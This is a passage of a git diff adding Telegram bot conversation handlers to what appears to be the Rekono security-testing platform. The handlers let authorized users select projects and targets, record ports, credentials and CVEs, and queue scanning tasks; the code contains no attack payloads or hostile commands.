__init__(self, **kwargs: Any) -> None: + self._states_methods = [ + self._ask_for_project, + self._save_project, + self._ask_for_target, + self._save_target, + self._ask_for_authentication_type, + self._save_authentication_type, + self._ask_for_new_authentication, + self._create_authentication, + self._ask_for_new_target_port, + self._create_target_port, + ] + super().__init__(**kwargs) + + +class NewTechnology(BaseConversationFromProject, TargetMixin, InputTechnologyMixin): + help = "Create new input technology" + section = Section.TARGETS + + def __init__(self, **kwargs: Any) -> None: + self._states_methods = [ + self._ask_for_project, + self._save_project, + self._ask_for_target, + self._save_target, + self._ask_for_new_technology, + self._create_input_technology, + ] + super().__init__(**kwargs) + + +class NewVulnerability( + BaseConversationFromProject, TargetMixin, InputVulnerabilityMixin +): + help = "Create new input vulnerability" + section = Section.TARGETS + + def __init__(self, **kwargs: Any) -> None: + self._states_methods = [ + self._ask_for_project, + self._save_project, + self._ask_for_target, + self._save_target, + self._ask_for_new_vulnerability, + self._create_input_vulnerability, + ] + super().__init__(**kwargs) + + +class Tool( + BaseConversationFromProject, + TargetMixin, + ToolMixin, + ConfigurationMixin, + IntensityMixin, + WordlistMixin, + TaskMixin, +): + help = "Execute a tool" + section = Section.TASKS + + def __init__(self, **kwargs: Any) -> None: + self._states_methods = [ + self._ask_for_project, + self._save_project, + self._ask_for_target, + self._save_target, + self._ask_for_tool, + self._save_tool, + self._ask_for_configuration, + self._save_configuration, + self._ask_for_intensity, + self._save_intensity, + self._ask_for_wordlist, + self._save_wordlist, + self._ask_for_task_confirmation, + self._new_task, + ] + super().__init__(**kwargs) + + +class Process( + BaseConversationFromProject, + TargetMixin, + ProcessMixin, + IntensityMixin, + WordlistMixin, + TaskMixin, +): + help = "Execute a process" + section = Section.TASKS + + def __init__(self, **kwargs: Any) -> None: + self._states_methods = [ + self._ask_for_project, + self._save_project, + self._ask_for_target, + self._save_target, + self._ask_for_process, + self._save_process, + self._ask_for_intensity, + self._save_intensity, + self._ask_for_wordlist, + self._save_wordlist, + self._ask_for_task_confirmation, + self._new_task, + ] + super().__init__(**kwargs) diff --git a/src/backend/platforms/telegram_app/bot/enums.py b/src/backend/platforms/telegram_app/bot/enums.py new file mode 100644 index 000000000..578b5e072 --- /dev/null +++ b/src/backend/platforms/telegram_app/bot/enums.py @@ -0,0 +1,21 @@ +from enum import Enum + + +class Section(Enum): + BASIC = "Basic" + SELECTION = "Selection" + TARGETS = "Targets" + TASKS = "Tasks" + + +class Context(Enum): + COMMAND = "command" + PROJECT = "project" + TARGET = "target" + AUTHENTICATION_TYPE = "authentication_type" + AUTHENTICATION = "authentication" + TOOL = "tool" + CONFIGURATION = "configuration" + PROCESS = "process" + INTENSITY = "intensity" + WORDLIST = "wordlist" diff --git a/src/backend/platforms/telegram_app/bot/framework.py b/src/backend/platforms/telegram_app/bot/framework.py new file mode 100644 index 000000000..3bd2e54f8 --- /dev/null +++ b/src/backend/platforms/telegram_app/bot/framework.py @@ -0,0 +1,97 @@ +import logging +from typing import Any, Tuple + +from asgiref.sync import sync_to_async +from platforms.telegram_app.bot.enums import Context +from platforms.telegram_app.framework import BaseTelegram +from platforms.telegram_app.models import TelegramChat +from telegram import Update +from telegram.constants import ParseMode +from telegram.ext import CallbackContext + +logger = logging.getLogger() + + +class BaseTelegramBot(BaseTelegram): + help = "" + section = None + allow_readers = False + chat = None + + def get_name(self) -> str: + return self.__class__.__name__.lower() + + async def _execute_command(self, update: Update, context: CallbackContext) -> None: + if not self._is_valid_update(update): + return + if not self.allow_readers: + chat = await self._get_active_telegram_chat(update) + if not chat: + return + + def _is_valid_update(self, update: Update) -> bool: + return bool(update.effective_chat) and bool(update.effective_message) + + async def _reply( + self, update: Update, message: str, reply_markup: Any = None + ) -> None: + if self._is_valid_update(update): + await update.effective_message.reply_text( + message, reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2 + ) + + def _get_context_value(self, context: CallbackContext, key: str) -> Any: + return (context.chat_data or {}).get(key) + + def _add_context_value( + self, context: CallbackContext, key: str, value: Any + ) -> None: + context.chat_data[key] = value + + def _remove_context_value(self, context: CallbackContext, key: str) -> None: + if context.chat_data and key in context.chat_data: + context.chat_data.pop(key) + + def _remove_all_context_values(self, context: CallbackContext) -> None: + for key in Context: + if key == Context.PROJECT: + continue + self._remove_context_value(context, key) + + @sync_to_async + def _get_active_telegram_chat_async(self, chat_id: int) -> TelegramChat: + return TelegramChat.objects.filter( + chat_id=chat_id, user__is_active=True + ).first() + + @sync_to_async + def _is_auditor_async(self, telegram_chat: TelegramChat) -> bool: + return telegram_chat.is_auditor() + + async def _get_active_telegram_chat( + self, update: Update, require_auditor: bool = True + ) -> TelegramChat: + if self.chat: + return self.chat + if self._is_valid_update(update): + self.chat = await self._get_active_telegram_chat_async( + update.effective_chat.id + ) + if not self.chat: + logger.error( + f"[Security] Unauthenticated Telegram bot request from chat {update.effective_chat.id}" + ) + await self._reply( + update, + "You have to link this chat to your Rekono account before using the Telegram Bot\. Use the command /start", + ) + elif require_auditor and not await self._is_auditor_async(self.chat): + logger.error( + f"[Security] User {self.chat.user.id} isn't authorized to use Telegram bot", + extra={"user": self.chat.user}, + ) + await self._reply( + update, "You are not authorized to perform this action" + ) + self.chat = None + return self.chat diff --git a/src/backend/platforms/telegram_app/bot/mixins/__init__.py b/src/backend/platforms/telegram_app/bot/mixins/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/platforms/telegram_app/bot/mixins/authentications.py b/src/backend/platforms/telegram_app/bot/mixins/authentications.py new file mode 100644 index 000000000..643db5e88 --- /dev/null +++ b/src/backend/platforms/telegram_app/bot/mixins/authentications.py @@ -0,0 +1,101 @@ +from authentications.enums import AuthenticationType +from authentications.serializers import AuthenticationSerializer +from platforms.telegram_app.bot.enums import Context +from platforms.telegram_app.bot.mixins.framework import BaseMixin +from telegram import InlineKeyboardButton, Update +from telegram.ext import CallbackContext, ConversationHandler + + +class AuthenticationMixin(BaseMixin): + no_authentication = "None" + new_port_command = "newport" + + async def _ask_for_authentication_type( + self, update: Update, context: CallbackContext + ) -> int: + values = AuthenticationType.values + current_command = self._get_context_value(context, Context.COMMAND) + if current_command and current_command.lower() == self.new_port_command: + values.append(self.no_authentication) + return await self._go_to_next_state( + update, + context, + await self._ask_values( + update, + values, + 3, + "Choose authentication type", + self._get_next_state(self._ask_for_authentication_type), + ), + ) + + async def _save_authentication_type( + self, update: Update, context: CallbackContext + ) -> int: + if ( + update.callback_query + and update.callback_query.data + and update.callback_query.data == self.no_authentication + ): + return ( + await self._go_to_next_state( + update, + context, + self._get_current_state(self._ask_for_new_target_port), + ) + if hasattr(self, "_ask_for_new_target_port") + and (self._get_context_value(context, Context.COMMAND) or "").lower() + == self.new_port_command + else ConversationHandler.END + ) + else: + return await self._go_to_next_state( + update, + context, + await self._save_value( + update, + context, + Context.AUTHENTICATION_TYPE, + "AuthenticationType", + self._get_next_state(self._save_authentication_type), + ), + ) + + async def _ask_for_new_authentication( + self, update: Update, context: CallbackContext + ) -> int: + return await self._go_to_next_state( + update, + context, + await self._ask_for_new_attribute( + update, + "authentication", + "'name \- secret'", + self._get_next_state(self._ask_for_new_authentication), + ), + ) + + async def _create_authentication( + self, update: Update, context: CallbackContext + ) -> int: + if not update.effective_message or not update.effective_message.text: + return ConversationHandler.END + name = update.effective_message.text + secret = None + if name and " - " in name: + name, secret = name.split(" - ", 1) + next_state, instance = await self._create( + update, + context, + AuthenticationSerializer, + { + "name": name, + "secret": secret, + "type": self._get_context_value(context, Context.AUTHENTICATION_TYPE), + }, + self._get_previous_state(self._create_authentication), + self._get_next_state(self._create_authentication), + ) + if instance: + self._add_context_value(context, Context.AUTHENTICATION, instance) + return await self._go_to_next_state(update, context, next_state) diff --git a/src/backend/platforms/telegram_app/bot/mixins/framework.py b/src/backend/platforms/telegram_app/bot/mixins/framework.py new file mode 100644 index 000000000..21bf42894 --- /dev/null +++ b/src/backend/platforms/telegram_app/bot/mixins/framework.py @@ -0,0 +1,233 @@ +import logging +from typing import Any, Dict, List, Tuple + +from asgiref.sync import sync_to_async +from django.db import IntegrityError +from django.db.models import QuerySet +from platforms.telegram_app.bot.commands import Cancel +from platforms.telegram_app.bot.enums import Context +from platforms.telegram_app.bot.framework import BaseTelegramBot +from platforms.telegram_app.models import TelegramChat +from rest_framework.serializers import Serializer +from telegram import InlineKeyboardButton, InlineKeyboardMarkup, Update +from telegram.ext import CallbackContext, ConversationHandler + +logger = logging.getLogger() + + +class BaseMixin(BaseTelegramBot): + def _get_current_state(self, method: callable) -> int: + if not hasattr(self, "_states_methods"): + return ConversationHandler.END + return self._states_methods.index(method) + + def _get_next_state(self, method: callable) -> int: + current_state = self._get_current_state(method) + return ( + ConversationHandler.END + if current_state == len(self._states_methods) - 1 + else current_state + 1 + ) + + def _get_previous_state(self, method: callable) -> int: + current_state = self._get_current_state(method) + return current_state if current_state == 0 else current_state - 1 + + async def _go_to_next_state( + self, update: Update, context: CallbackContext, next_state: int + ) -> int: + if next_state != ConversationHandler.END and self._states_methods[ + next_state + ].__name__.startswith("_ask_for_"): + return await self._states_methods[next_state](update, context) + return next_state + + @sync_to_async + def _is_queryset_async(self, queryset: QuerySet) -> bool: + return bool(queryset) + + @sync_to_async + def _queryset_exists_async(self, queryset: QuerySet) -> bool: + return queryset.exists() + + @sync_to_async + def _get_model_instance_async(self, model: Any, pk: int) -> Any: + return model.objects.get(pk=pk) + + @sync_to_async + def _get_keyboard_from_queryset_async( + self, queryset: QuerySet, attribute: str + ) -> QuerySet: + return [ + InlineKeyboardButton(getattr(i, attribute), callback_data=i.id) + for i in queryset.order_by(attribute) + ] + + @sync_to_async + def _save_serializer_async( + self, serializer: Serializer + ) -> Tuple[Any, Dict[str, Any]]: + try: + return ( + (serializer.save(), None) + if serializer.is_valid() + else (None, serializer.errors) + ) + except IntegrityError: + return None, { + serializer.Meta.model.__name__.lower(): [ + "This entity already exists in the database" + ] + } + + async def _ask( + self, + update: Update, + queryset: QuerySet, + attribute: str, + options_per_row: int, + message: str, + not_found_message: str, + next_state: int, + chat: TelegramChat = None, + ) -> int: + chat = chat or await self._get_active_telegram_chat(update) + if not chat or not await self._is_queryset_async(queryset): + await self._reply(update, not_found_message) + return ConversationHandler.END + else: + keyboard = await self._get_keyboard_from_queryset_async(queryset, attribute) + await self._reply( + update, + message, + reply_markup=InlineKeyboardMarkup( + [ + keyboard[item : item + options_per_row] + for item in range(0, len(keyboard), options_per_row) + ] + ), + ) + return next_state + + async def _ask_values( + self, + update: Update, + values: List[str], + options_per_row: int, + message: str, + next_state: int, + chat: TelegramChat = None, + ) -> int: + chat = chat or await self._get_active_telegram_chat(update) + if not chat: + return ConversationHandler.END + keyboard = [ + InlineKeyboardButton(v.capitalize(), callback_data=v) for v in values + ] + await self._reply( + update, + message, + reply_markup=InlineKeyboardMarkup( + [ + keyboard[item : item + options_per_row] + for item in range(0, len(keyboard), options_per_row) + ] + ), + ) + return next_state + + async def _save( + self, + update: Update, + context: CallbackContext, + context_key: Context, + model: Any, + next_state: int, + chat: TelegramChat = None, + ) -> int: + chat = chat or await self._get_active_telegram_chat(update) + if chat and update.callback_query and update.callback_query.data: + entity = await self._get_model_instance_async( + model, int(update.callback_query.data) + ) + self._add_context_value(context, context_key, entity) + await update.callback_query.answer( + f"{model.__name__} {update.callback_query.data} has been selected" + ) + return next_state + elif update.callback_query: + await update.callback_query.answer() + return ConversationHandler.END + + async def _save_value( + self, + update: Update, + context: CallbackContext, + context_key: Context, + name: str, + next_state: int, + chat: TelegramChat = None, + ) -> int: + chat = chat or await self._get_active_telegram_chat(update) + if chat and update.callback_query and update.callback_query.data: + self._add_context_value(context, context_key, update.callback_query.data) + await update.callback_query.answer( + f"{name} {update.callback_query.data} has been selected" + ) + return next_state + elif update.callback_query: + await update.callback_query.answer() + return ConversationHandler.END + + def _build_error_message_from_serializer_errors( + self, serializer_errors: Dict[str, Any] + ) -> str: + return "*ERRORS*\n" + "\n".join( + [ + f"_{field}_ {self._escape(messages[0])}" + for field, messages in serializer_errors.items() + ] + ) + + async def _ask_for_new_attribute( + self, update: Update, model_name: str, attribute: str, next_state: int + ) -> int: + await self._reply( + update, f"Type the {attribute} value for the new {model_name}" + ) + return next_state + + async def _create( + self, + update: Update, + context: CallbackContext, + serializer_class: Serializer, + data: Dict[str, Any], + previous_state: int, + next_state: int, + chat: TelegramChat = None, + ) -> int: + chat = chat or await self._get_active_telegram_chat(update) + if not chat or not update.effective_message: + return ConversationHandler.END, None + if update.effective_message.text.lower() == "/cancel": + return await Cancel()._execute_command(update, context), None + instance, errors = await self._save_serializer_async( + serializer_class(data=data) + ) + if not instance: + next_state = previous_state + logger.info( + f"[TelegramBot] Attempt of {serializer_class.Meta.model.__name__.lower()} creation with invalid data", + extra={"user": chat.user.id}, + ) + await self._reply( + update, + self._build_error_message_from_serializer_errors(errors), + ) + else: + logger.info( + f"[TelegramBot] New {serializer_class.Meta.model.__name__.lower()} {instance.id} has been created", + extra={"user": chat.user.id}, + ) + return next_state, instance diff --git a/src/backend/platforms/telegram_app/bot/mixins/parameters.py b/src/backend/platforms/telegram_app/bot/mixins/parameters.py new file mode 100644 index 000000000..fdd2909a4 --- /dev/null +++ b/src/backend/platforms/telegram_app/bot/mixins/parameters.py @@ -0,0 +1,93 @@ +from parameters.serializers import ( + InputTechnologySerializer, + InputVulnerabilitySerializer, +) +from platforms.telegram_app.bot.enums import Context +from platforms.telegram_app.bot.mixins.framework import BaseMixin +from telegram import Update +from telegram.ext import CallbackContext, ConversationHandler + + +class InputTechnologyMixin(BaseMixin): + async def _ask_for_new_technology( + self, update: Update, context: CallbackContext + ) -> int: + return await self._go_to_next_state( + update, + context, + await self._ask_for_new_attribute( + update, + "input technology", + "'name \- version'", + self._get_next_state(self._ask_for_new_technology), + ), + ) + + async def _create_input_technology( + self, update: Update, context: CallbackContext + ) -> int: + if not update.effective_message or not update.effective_message.text: + return ConversationHandler.END + name = update.effective_message.text + version = None + if name and " - " in name: + name, version = name.split(" - ", 1) + target = self._get_context_value(context, Context.TARGET) + next_state, instance = await self._create( + update, + context, + InputTechnologySerializer, + { + "target": target.id if target else None, + "name": name, + "version": version, + }, + self._get_previous_state(self._create_input_technology), + self._get_next_state(self._create_input_technology), + ) + if instance: + await self._reply( + update, + f"New input technology *{self._escape(instance.name)}* has been created in target *{self._escape(instance.target.target)}*", + ) + self._remove_all_context_values(context) + return await self._go_to_next_state(update, context, next_state) + + +class InputVulnerabilityMixin(BaseMixin): + async def _ask_for_new_vulnerability( + self, update: Update, context: CallbackContext + ) -> int: + return await self._go_to_next_state( + update, + context, + await self._ask_for_new_attribute( + update, + "input vulnerability", + "cve", + self._get_next_state(self._ask_for_new_vulnerability), + ), + ) + + async def _create_input_vulnerability( + self, update: Update, context: CallbackContext + ) -> int: + target = self._get_context_value(context, Context.TARGET) + next_state, instance = await self._create( + update, + context, + InputVulnerabilitySerializer, + { + "target": target.id if target else None, + "cve": update.effective_message.text, + }, + self._get_previous_state(self._create_input_vulnerability), + self._get_next_state(self._create_input_vulnerability), + ) + if instance: + await self._reply( + update, + f"New input vulnerability *{self._escape(instance.cve)}* has been created in target *{self._escape(instance.target.target)}*", + ) + self._remove_all_context_values(context) + return await self._go_to_next_state(update, context, next_state) diff --git a/src/backend/platforms/telegram_app/bot/mixins/process.py b/src/backend/platforms/telegram_app/bot/mixins/process.py new file mode 100644 index 000000000..8b84ff91d --- /dev/null +++ b/src/backend/platforms/telegram_app/bot/mixins/process.py @@ -0,0 +1,35 @@ +from platforms.telegram_app.bot.enums import Context +from platforms.telegram_app.bot.mixins.framework import BaseMixin +from processes.models import Process +from telegram import Update +from telegram.ext import CallbackContext + + +class ProcessMixin(BaseMixin): + async def _ask_for_process(self, update: Update, context: CallbackContext) -> int: + return await self._go_to_next_state( + update, + context, + await self._ask( + update, + Process.objects.all(), + "name", + 2, + "Choose process", + "There are no processes\. Go to Rekono to create one", + self._get_next_state(self._ask_for_process), + ), + ) + + async def _save_process(self, update: Update, context: CallbackContext) -> int: + return await self._go_to_next_state( + update, + context, + await self._save( + update, + context, + Context.PROCESS, + Process, + self._get_next_state(self._save_process), + ), + ) diff --git a/src/backend/platforms/telegram_app/bot/mixins/projects.py b/src/backend/platforms/telegram_app/bot/mixins/projects.py new file mode 100644 index 000000000..bdf710a1d --- /dev/null +++ b/src/backend/platforms/telegram_app/bot/mixins/projects.py @@ -0,0 +1,41 @@ +from platforms.telegram_app.bot.enums import Context +from platforms.telegram_app.bot.mixins.framework import BaseMixin +from projects.models import Project +from telegram import Update +from telegram.ext import CallbackContext, ConversationHandler + + +class ProjectMixin(BaseMixin): + async def _ask_for_project(self, update: Update, context: CallbackContext) -> int: + chat = await self._get_active_telegram_chat(update) + if not chat: + return ConversationHandler.END + return await self._go_to_next_state( + update, + context, + await self._ask( + update, + Project.objects.filter(members=chat.user).all(), + "name", + 3, + "Choose project", + "You have no projects\. Go to Rekono to create one or ask your administrator to assign you one", + self._get_next_state(self._ask_for_project), + chat, + ), + ) + + async def _save_project(self, update: Update, context: CallbackContext) -> int: + chat = await self._get_active_telegram_chat(update) + next_state = await self._save( + update, + context, + Context.PROJECT, + Project, + self._get_next_state(self._save_project), + chat, + ) + project = self._get_context_value(context, Context.PROJECT) + if project: + await self._reply(update, f"💼 _Project_ *{self._escape(project.name)}*") + return await self._go_to_next_state(update, context, next_state) diff --git a/src/backend/platforms/telegram_app/bot/mixins/target_ports.py b/src/backend/platforms/telegram_app/bot/mixins/target_ports.py new file mode 100644 index 000000000..7a4bc2f54 --- /dev/null +++ b/src/backend/platforms/telegram_app/bot/mixins/target_ports.py @@ -0,0 +1,61 @@ +from platforms.telegram_app.bot.commands import Cancel +from platforms.telegram_app.bot.enums import Context +from platforms.telegram_app.bot.mixins.framework import BaseMixin +from target_ports.serializers import TargetPortSerializer +from telegram import Update +from telegram.ext import CallbackContext, ConversationHandler + + +class TargetPortMixin(BaseMixin): + async def _ask_for_new_target_port( + self, update: Update, context: CallbackContext + ) -> int: + return await self._go_to_next_state( + update, + context, + await self._ask_for_new_attribute( + update, + "target port", + "port", + self._get_next_state(self._ask_for_new_target_port), + ), + ) + + async def _create_target_port( + self, update: Update, context: CallbackContext + ) -> int: + if not update.effective_message or not update.effective_message.text: + return ConversationHandler.END + if update.effective_message.text.lower() == "/cancel": + return await Cancel()._execute_command(update, context) + try: + port = int(update.effective_message.text) + except ValueError: + self._reply(update, "Port must be a valid number") + return await self._go_to_next_state( + update, context, self._get_previous_state(self._create_target_port) + ) + target = self._get_context_value(context, Context.TARGET) + authentication = self._get_context_value(context, Context.AUTHENTICATION) + data = { + "target": target.id if target else None, + "port": port, + "path": None, + } + if authentication: + data["authentication"] = authentication.id + next_state, instance = await self._create( + update, + context, + TargetPortSerializer, + data, + self._get_previous_state(self._create_target_port), + self._get_next_state(self._create_target_port), + ) + if instance: + await self._reply( + update, + f"New target port *{instance.port}* has been created in target *{self._escape(instance.target.target)}*", + ) + self._remove_all_context_values(context) + return await self._go_to_next_state(update, context, next_state) diff --git a/src/backend/platforms/telegram_app/bot/mixins/targets.py b/src/backend/platforms/telegram_app/bot/mixins/targets.py new file mode 100644 index 000000000..63879a17b --- /dev/null +++ b/src/backend/platforms/telegram_app/bot/mixins/targets.py @@ -0,0 +1,72 @@ +from platforms.telegram_app.bot.enums import Context +from platforms.telegram_app.bot.mixins.framework import BaseMixin +from targets.models import Target +from targets.serializers import TargetSerializer +from telegram import Update +from telegram.ext import CallbackContext + + +class TargetMixin(BaseMixin): + async def _ask_for_target(self, update: Update, context: CallbackContext) -> int: + return await self._go_to_next_state( + update, + context, + await self._ask( + update, + Target.objects.filter( + project=self._get_context_value(context, Context.PROJECT) + ).all(), + "target", + 3, + "Choose target", + "There are no targets in the selected project. Use /newtarget to create one", + self._get_next_state(self._ask_for_target), + ), + ) + + async def _save_target(self, update: Update, context: CallbackContext) -> int: + return await self._go_to_next_state( + update, + context, + await self._save( + update, + context, + Context.TARGET, + Target, + self._get_next_state(self._save_target), + ), + ) + + async def _ask_for_new_target( + self, update: Update, context: CallbackContext + ) -> int: + return await self._go_to_next_state( + update, + context, + await self._ask_for_new_attribute( + update, + "target", + "target", + self._get_next_state(self._ask_for_new_target), + ), + ) + + async def _create_target(self, update: Update, context: CallbackContext) -> int: + project = self._get_context_value(context, Context.PROJECT) + next_state, instance = await self._create( + update, + context, + TargetSerializer, + { + "project": project.id if project else None, + "target": update.effective_message.text, + }, + self._get_previous_state(self._create_target), + self._get_next_state(self._create_target), + ) + if instance: + await self._reply( + update, + f"New target *{self._escape(instance.target)}* \(_{self._escape(instance.type)}_\) has been created in project *{self._escape(instance.project.name)}*", + ) + return await self._go_to_next_state(update, context, next_state) diff --git a/src/backend/platforms/telegram_app/bot/mixins/tasks.py b/src/backend/platforms/telegram_app/bot/mixins/tasks.py new file mode 100644 index 000000000..08406734c --- /dev/null +++ b/src/backend/platforms/telegram_app/bot/mixins/tasks.py @@ -0,0 +1,82 @@ +from platforms.telegram_app.bot.enums import Context +from platforms.telegram_app.bot.mixins.framework import BaseMixin +from tasks.serializers import TaskSerializer +from telegram import Update +from telegram.ext import CallbackContext, ConversationHandler + + +class TaskMixin(BaseMixin): + yes = "👍 Yes" + no = "👎 No" + + async def _ask_for_task_confirmation( + self, update: Update, context: CallbackContext + ) -> int: + project = self._get_context_value(context, Context.PROJECT) + target = self._get_context_value(context, Context.TARGET) + process = self._get_context_value(context, Context.PROCESS) + tool = self._get_context_value(context, Context.TOOL) + configuration = self._get_context_value(context, Context.CONFIGURATION) + intensity = self._get_context_value(context, Context.INTENSITY) + return await self._go_to_next_state( + update, + context, + await self._ask_values( + update, + [self.yes, self.no], + 2, + f""" +The following task will be executed: + +💼 _Project_ *{self._escape(project.name) if project else None}* +🎯 _Target_ *{self._escape(target.target) if target else None}* +{f'🔄 _Process_ *{self._escape(process.name)}*' if process else +f'''🛠 _Tool_ *{self._escape(tool.name)}* +⚙️ _Configuration_ *{self._escape(configuration.name)}*'''} +🔊 _Intensity_ *{self._escape(intensity)}* + +Are you sure? + """, + self._get_next_state(self._ask_for_task_confirmation), + ), + ) + + async def _new_task(self, update: Update, context: CallbackContext) -> int: + chat = await self._get_active_telegram_chat(update) + next_state = ConversationHandler.END + if chat and update.callback_query and update.callback_query.data: + if update.callback_query.data == self.yes: + target = self._get_context_value(context, Context.TARGET) + process = self._get_context_value(context, Context.PROCESS) + configuration = self._get_context_value(context, Context.CONFIGURATION) + wordlist = self._get_context_value(context, Context.WORDLIST) + data = { + "target": target.id if target else None, + "intensity": self._get_context_value( + context, Context.INTENSITY + ).capitalize(), + "executor": chat.user, + "wordlists": [wordlist.id] if wordlist else None, + } + if process: + data["process"] = process.id + elif configuration: + data["configuration"] = configuration.id + next_state, instance = await self._create( + update, + context, + TaskSerializer, + data, + self._get_previous_state(self._new_task), + self._get_next_state(self._new_task), + chat, + ) + if instance: + self._remove_all_context_values(context) + await self._reply( + update, f"✅ Task {instance.id} created successfully\!" + ) + else: + self._remove_all_context_values(context) + await self._reply(update, "❌ Task has been cancelled") + return await self._go_to_next_state(update, context, next_state) diff --git a/src/backend/platforms/telegram_app/bot/mixins/tools.py b/src/backend/platforms/telegram_app/bot/mixins/tools.py new file mode 100644 index 000000000..18e1ee8e1 --- /dev/null +++ b/src/backend/platforms/telegram_app/bot/mixins/tools.py @@ -0,0 +1,120 @@ +from asgiref.sync import sync_to_async +from django.db.models import QuerySet +from platforms.telegram_app.bot.enums import Context +from platforms.telegram_app.bot.mixins.framework import BaseMixin +from telegram import Update +from telegram.ext import CallbackContext, ConversationHandler +from tools.enums import Intensity +from tools.models import Configuration, Tool + + +class ToolMixin(BaseMixin): + async def _ask_for_tool(self, update: Update, context: CallbackContext) -> int: + return await self._go_to_next_state( + update, + context, + await self._ask( + update, + Tool.objects.all(), + "name", + 2, + "Choose tool", + "", + self._get_next_state(self._ask_for_tool), + ), + ) + + async def _save_tool(self, update: Update, context: CallbackContext) -> int: + return await self._go_to_next_state( + update, + context, + await self._save( + update, + context, + Context.TOOL, + Tool, + self._get_next_state(self._save_tool), + ), + ) + + +class ConfigurationMixin(BaseMixin): + async def _ask_for_configuration( + self, update: Update, context: CallbackContext + ) -> int: + return await self._go_to_next_state( + update, + context, + await self._ask( + update, + Configuration.objects.filter( + tool=self._get_context_value(context, Context.TOOL) + ), + "name", + 2, + "Choose configuration", + "", + self._get_next_state(self._ask_for_configuration), + ), + ) + + async def _save_configuration( + self, update: Update, context: CallbackContext + ) -> int: + return await self._go_to_next_state( + update, + context, + await self._save( + update, + context, + Context.CONFIGURATION, + Configuration, + self._get_next_state(self._save_configuration), + ), + ) + + +class IntensityMixin(BaseMixin): + @sync_to_async + def _get_tool_intensities_async(self, tool: Tool) -> QuerySet: + return [ + Intensity(i.value).name for i in tool.intensities.order_by("value").all() + ] + + async def _ask_for_intensity(self, update: Update, context: CallbackContext) -> int: + tool = self._get_context_value(context, Context.TOOL) + values = ( + await self._get_tool_intensities_async(tool) if tool else Intensity.names + ) + values.reverse() + return await self._go_to_next_state( + update, + context, + await self._ask_values( + update, + values, + 5, + "Choose intensity", + self._get_next_state(self._ask_for_intensity), + ), + ) + + async def _save_intensity(self, update: Update, context: CallbackContext) -> int: + next_state = await self._go_to_next_state( + update, + context, + await self._save_value( + update, + context, + Context.INTENSITY, + "Intensity", + self._get_next_state(self._save_intensity), + ), + ) + if next_state != ConversationHandler.END: + self._add_context_value( + context, + Context.INTENSITY, + (self._get_context_value(context, Context.INTENSITY) or "").upper(), + ) + return await self._go_to_next_state(update, context, next_state) diff --git a/src/backend/platforms/telegram_app/bot/mixins/wordlists.py b/src/backend/platforms/telegram_app/bot/mixins/wordlists.py new file mode 100644 index 000000000..9b62cd6d4 --- /dev/null +++ b/src/backend/platforms/telegram_app/bot/mixins/wordlists.py @@ -0,0 +1,119 @@ +from typing import List + +from asgiref.sync import sync_to_async +from django.db.models import QuerySet +from input_types.enums import InputTypeName +from platforms.telegram_app.bot.enums import Context +from platforms.telegram_app.bot.mixins.framework import BaseMixin +from telegram import InlineKeyboardButton, InlineKeyboardMarkup, Update +from telegram.ext import CallbackContext +from tools.models import Input +from wordlists.models import Wordlist + + +class WordlistMixin(BaseMixin): + default_wordlist = "Default tools wordlists" + + @sync_to_async + def _get_wordlists_keyboard_async(self) -> List[InlineKeyboardButton]: + return [ + InlineKeyboardButton(f"{w.name} - {w.type}", callback_data=w.id) + for w in Wordlist.objects.all() + ] + + async def _ask_for_wordlist(self, update: Update, context: CallbackContext) -> int: + tool = self._get_context_value(context, Context.TOOL) + process = self._get_context_value(context, Context.PROCESS) + if ( + tool + and not await self._queryset_exists_async( + Input.objects.filter( + argument__tool=tool, type__name=InputTypeName.WORDLIST + ) + ) + ) or ( + process + and not await self._queryset_exists_async( + Input.objects.filter( + argument__tool__in=process.steps.all().values( + "configuration__tool" + ), + type__name=InputTypeName.WORDLIST, + ) + ) + ): + return await self._go_to_next_state( + update, context, self._get_next_state(self._save_wordlist) + ) + keyboard = await self._get_wordlists_keyboard_async() + tools_with_required_wordlists = ["Gobuster"] + required_filter = { + "argument__required": True, + "type__name": InputTypeName.WORDLIST, + } + is_wordlist_required = ( + tool + and ( + tool.name in tools_with_required_wordlists + or await self._queryset_exists_async( + Input.objects.filter(**{**required_filter, "argument__tool": tool}) + ) + ) + or ( + process + and ( + await self._queryset_exists_async( + process.steps.filter( + configuration__tool__name__in=tools_with_required_wordlists + ) + ) + or await self._queryset_exists_async( + Input.objects.filter( + **{ + **required_filter, + "argument__tool__in": process.steps.all().values( + "configuration__tool" + ), + } + ) + ) + ) + ) + ) + if not is_wordlist_required: + keyboard.append( + InlineKeyboardButton( + self.default_wordlist, callback_data=self.default_wordlist + ) + ) + await self._reply( + update, + "Choose wordlist", + reply_markup=InlineKeyboardMarkup([[item] for item in keyboard]), + ) + return await self._go_to_next_state( + update, context, self._get_next_state(self._ask_for_wordlist) + ) + + async def _save_wordlist(self, update: Update, context: CallbackContext) -> int: + if ( + update.callback_query + and update.callback_query.data + and update.callback_query.data == self.default_wordlist + ): + update.callback_query.answer() + return await self._go_to_next_state( + update, context, self._get_next_state(self._save_wordlist) + ) + else: + return await self._go_to_next_state( + update, + context, + await self._save( + update, + context, + Context.WORDLIST, + Wordlist, + self._get_next_state(self._save_wordlist), + ), + ) diff --git a/src/backend/platforms/telegram_app/fixtures/1_default.json b/src/backend/platforms/telegram_app/fixtures/1_default.json index b83f10d53..944719c88 100644 --- a/src/backend/platforms/telegram_app/fixtures/1_default.json +++ b/src/backend/platforms/telegram_app/fixtures/1_default.json @@ -1,6 +1,6 @@ [ { - "model": "telegram_app.TelegramSettings", + "model": "telegram_app.telegramsettings", "pk": 1, "fields": { "token": null diff --git a/src/backend/platforms/telegram_app/framework.py b/src/backend/platforms/telegram_app/framework.py index 2f38828e9..fdbf2c9ed 100644 --- a/src/backend/platforms/telegram_app/framework.py +++ b/src/backend/platforms/telegram_app/framework.py @@ -1,26 +1,51 @@ +import asyncio import logging from typing import Any -from platforms.telegram_app.models import TelegramSettings +from platforms.telegram_app.models import TelegramChat, TelegramSettings +from telegram.constants import ParseMode from telegram.error import Forbidden, InvalidToken -from telegram.ext import Updater +from telegram.ext import ApplicationBuilder +from telegram.helpers import escape_markdown logger = logging.getLogger() class BaseTelegram: - def __init__(self) -> None: + def __init__(self, **kwargs: Any) -> None: self.settings = TelegramSettings.objects.first() - self.updater = self._get_updater() + self.app = self._get_app() self.date_format = "%Y-%m-%d %H:%M:%S" - def _get_updater(self) -> Any: - if self.settings.token: + def initialize(self) -> None: + asyncio.run(self.app.bot.initialize()) + + def get_bot_name(self) -> str: + return self.app.bot.username if 